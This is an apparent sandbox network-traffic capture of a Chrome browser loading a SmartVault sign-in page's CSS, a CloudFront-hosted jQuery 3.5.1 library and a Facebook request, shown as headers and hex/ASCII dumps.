2024-04-11 20:35:40 UTC	608	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:40 GMT Content-Type: text/css Content-Length: 1028 Connection: close Last-Modified: Mon, 15 Jan 2024 17:15:24 GMT Accept-Ranges: bytes ETag: "05e1c6dd647da1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:40 UTC	1028	IN	Data Raw: ef bb bf 23 70 61 73 73 77 6f 72 64 5f 64 65 73 63 72 69 70 74 69 6f 6e 0d 0a 7b 0d 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 41 72 69 61 6c 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 0d 0a 7d 0d 0a 0d 0a 23 70 61 73 73 77 6f 72 64 5f 73 74 72 65 6e 67 74 68 0d 0a 7b 0d 0a 09 68 65 69 67 68 74 3a 35 70 78 3b 0d 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0d 0a 7d 0d 0a 0d 0a 23 70 61 73 73 77 6f 72 64 5f 73 74 72 65 6e 67 74 68 5f 62 6f 72 64 65 72 0d 0a 7b 0d 0a 09 77 69 64 74 68 3a 20 31 34 34 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 35 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 63 63 63 63 63 63 3b 0d 0a 09 0d 0a 7d 0d 0a 2e 73 74 72 65 6e 67 74 68 30 0d 0a 7b 0d Data Ascii: #password_description{font-family: sans-serif,Arial; font-size: 10pt;}#password_strength{height:5px;display:block;}#password_strength_border{width: 144px;height: 5px; background: #cccccc;}.strength0{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	50081	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:40 UTC	795	OUT	GET /WebResource.axd?d=X_w8z2WqDptlxvctTj7ovyY0soL1koLkTdPxdeZM1MHmCHf0WqiWoU9NqVqCNy2pysw_1Nk1H8oVPzDbtZt8gJTvalJM1upvx5lc3pxO1Ha3k8ERD5fUf9w-o6jRB3qlQzcYEg2&t=638368678120000000 HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:40 UTC	1581	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:40 GMT Content-Type: text/css Content-Length: 4797 Connection: close Cache-Control: public, no-cache="Set-Cookie" Expires: Fri, 11 Apr 2025 20:35:40 GMT Last-Modified: Wed, 29 Nov 2023 15:16:52 GMT Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:40 UTC	4797	IN	Data Raw: ef bb bf 2e 52 61 64 49 6e 70 75 74 2c 2e 52 61 64 49 6e 70 75 74 4d 67 72 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 52 61 64 49 6e 70 75 74 20 74 61 62 6c 65 7b 62 6f 72 64 65 72 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 6f 74 74 6f 6d 7d 2e 52 61 64 49 6e 70 75 74 20 74 61 62 6c 65 2e 72 69 54 61 62 6c 65 20 74 64 7b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 52 61 64 49 6e 70 75 74 20 74 61 62 6c 65 20 74 64 2e 72 69 43 65 6c 6c 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 70 78 7d 2e 52 61 64 49 6e 70 75 74 20 74 65 78 74 61 72 65 61 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 Data Ascii: .RadInput,.RadInputMgr{vertical-align:middle}.RadInput table{border:0;vertical-align:bottom}.RadInput table.riTable td{border:0;padding:0;vertical-align:middle;overflow:visible}.RadInput table td.riCell{padding-right:4px}.RadInput textarea{vertical-ali

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	50078	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:40 UTC	816	OUT	GET /WebResource.axd?d=nfs_dBZy6aPV5PzP-4pfDGT9JSeTKef0YISAds0cTI49A9OU2zgUo65Jd75SKSDTFZdFXZ_Osxl7cSsp_SnYftFfJXnwyTJwtaAjIbpj5YCBboKW_E_r5dHx-zf9hEDfRJGT5IdTMAciNoUj5O2DsiCavLI1&t=638368678120000000 HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:40 UTC	1581	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:40 GMT Content-Type: text/css Content-Length: 2579 Connection: close Cache-Control: public, no-cache="Set-Cookie" Expires: Fri, 11 Apr 2025 20:35:40 GMT Last-Modified: Wed, 29 Nov 2023 15:16:52 GMT Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:40 UTC	2579	IN	Data Raw: ef bb bf 2e 52 61 64 49 6e 70 75 74 5f 44 65 66 61 75 6c 74 2c 2e 52 61 64 49 6e 70 75 74 4d 67 72 5f 44 65 66 61 75 6c 74 7b 66 6f 6e 74 3a 31 32 70 78 20 22 73 65 67 6f 65 20 75 69 22 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 20 62 6f 64 79 20 2e 52 61 64 49 6e 70 75 74 5f 44 65 66 61 75 6c 74 20 2e 72 69 54 65 78 74 42 6f 78 2c 68 74 6d 6c 20 62 6f 64 79 20 2e 52 61 64 49 6e 70 75 74 4d 67 72 5f 44 65 66 61 75 6c 74 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 38 65 38 65 38 65 20 23 62 38 62 38 62 38 20 23 62 38 62 38 62 38 20 23 38 65 38 65 38 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 3a 31 32 70 78 20 22 73 65 67 6f 65 20 75 69 22 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 Data Ascii: .RadInput_Default,.RadInputMgr_Default{font:12px "segoe ui",arial,sans-serif}html body .RadInput_Default .riTextBox,html body .RadInputMgr_Default{border-color:#8e8e8e #b8b8b8 #b8b8b8 #8e8e8e;background:#fff;color:#000;font:12px "segoe ui",arial,sans-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	50082	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:40 UTC	795	OUT	GET /WebResource.axd?d=ysX2VaB2wDEAN6xwuzQVWtml0O6ZNpyiIlVP_QnXNHKGI5rBfOiar9m877jcdMWFZkO9kQsC0ojKmmuH_WytyZV4CDtOhYRup6gxH1m44iZKxVz4AnYjOFfqKZZn4NjCzc-rJg2&t=638368678120000000 HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:40 UTC	1581	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:40 GMT Content-Type: text/css Content-Length: 6825 Connection: close Cache-Control: public, no-cache="Set-Cookie" Expires: Fri, 11 Apr 2025 20:35:40 GMT Last-Modified: Wed, 29 Nov 2023 15:16:52 GMT Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:40 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:40 UTC	2782	IN	Data Raw: 64 69 76 2e 52 61 64 54 6f 6f 6c 54 69 70 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 7d 2e 52 61 64 54 6f 6f 6c 54 69 70 2e 72 74 4c 6f 61 64 69 6e 67 7b 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 2e 52 61 64 54 6f 6f 6c 54 69 70 20 2e 72 74 43 61 6c 6c 6f 75 74 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 52 61 64 54 6f 6f 6c 54 69 70 2e 72 74 56 69 73 69 62 6c 65 43 61 6c 6c 6f 75 74 20 2e 72 74 43 61 6c 6c 6f 75 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 52 61 64 54 6f 6f 6c 54 69 70 20 2e 72 74 57 72 61 70 70 65 72 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 63 6f 6c 6c 61 70 73 65 7d 2e 52 61 64 54 Data Ascii: div.RadToolTip{position:absolute;cursor:default}.RadToolTip.rtLoading{width:auto;height:100%}.RadToolTip .rtCallout{display:none}.RadToolTip.rtVisibleCallout .rtCallout{display:block}.RadToolTip .rtWrapper{padding:0;margin:0;border-collapse:collapse}.RadT
2024-04-11 20:35:40 UTC	4043	IN	Data Raw: 69 74 69 6f 6e 3a 30 20 2d 37 37 70 78 7d 2e 52 61 64 54 6f 6f 6c 54 69 70 20 2e 72 74 43 61 6c 6c 6f 75 74 4d 69 64 64 6c 65 4c 65 66 74 7b 74 6f 70 3a 35 30 25 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 31 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 2d 34 34 70 78 7d 2e 52 61 64 54 6f 6f 6c 54 69 70 20 2e 72 74 43 61 6c 6c 6f 75 74 4d 69 64 64 6c 65 52 69 67 68 74 7b 6c 65 66 74 3a 31 30 30 25 3b 74 6f 70 3a 35 30 25 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 31 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 2d 33 33 70 78 7d 2e 52 61 64 54 6f 6f 6c 54 69 70 20 2e 72 74 57 72 61 70 70 65 72 20 2e Data Ascii: ition:0 -77px}.RadToolTip .rtCalloutMiddleLeft{top:50%;margin-left:-10px;margin-top:-7px;background-position:0 -44px}.RadToolTip .rtCalloutMiddleRight{left:100%;top:50%;margin-left:-1px;margin-top:-10px;background-position:0 -33px}.RadToolTip .rtWrapper .

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.4	50083	108.138.113.78	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:40 UTC	573	OUT	GET /3rdParty/jquery-3.5.1.min.js HTTP/1.1 Host: d2lgzuvj5j9n9p.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:40 UTC	539	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 89476 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Last-Modified: Thu, 28 Jan 2021 19:14:40 GMT Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 11 Apr 2024 09:25:13 GMT ETag: "dc5e7f18c8d36ac1d3d4753a87c98d0a" X-Cache: Hit from cloudfront Via: 1.1 6104f765cfecf9c49eb7195c359eea46.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: dcPznT6sqi2GJ7_jX0JMl0V0FqOES6Ol4Zz57pXDRbeXIiUhyrbogQ== Age: 40228
2024-04-11 20:35:40 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 Data Ascii: /! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-04-11 20:35:40 UTC	16384	IN	Data Raw: 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 3d 5b 6b 2c 64 5d 29 2c 61 3d 3d 3d 65 29 Data Ascii: a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]=[k,d]),a===e)
2024-04-11 20:35:40 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a Data Ascii: {return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:
2024-04-11 20:35:40 UTC	16384	IN	Data Raw: 28 73 2e 74 79 70 65 29 3f 75 2e 63 68 65 63 6b 65 64 3d 73 2e 63 68 65 63 6b 65 64 3a 22 69 6e 70 75 74 22 21 3d 3d 6c 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6c 7c 7c 28 75 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 73 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 76 65 28 65 29 2c 61 3d 61 7c 7c 76 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 4f 65 28 6f 5b 72 5d 2c 61 5b 72 5d 29 3b 65 6c 73 65 20 4f 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 Data Ascii: (s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l\|\|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o\|\|ve(e),a=a\|\|ve(c),r=0,i=o.length;r<i;r++)Oe(o[r],a[r]);else Oe(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:funct
2024-04-11 20:35:40 UTC	16384	IN	Data Raw: 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 70 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d 6f 76 65 41 74 74 Data Ascii: nd({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n?void S.removeAtt
2024-04-11 20:35:40 UTC	7556	IN	Data Raw: 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 3d 22 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 29 2c 65 29 72 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 6e 2c 65 5b 6e 5d 29 3b 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 26 26 28 6f 3d 61 3d 72 2e Data Ascii: i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	50085	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:40 UTC	729	OUT	GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=d&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o
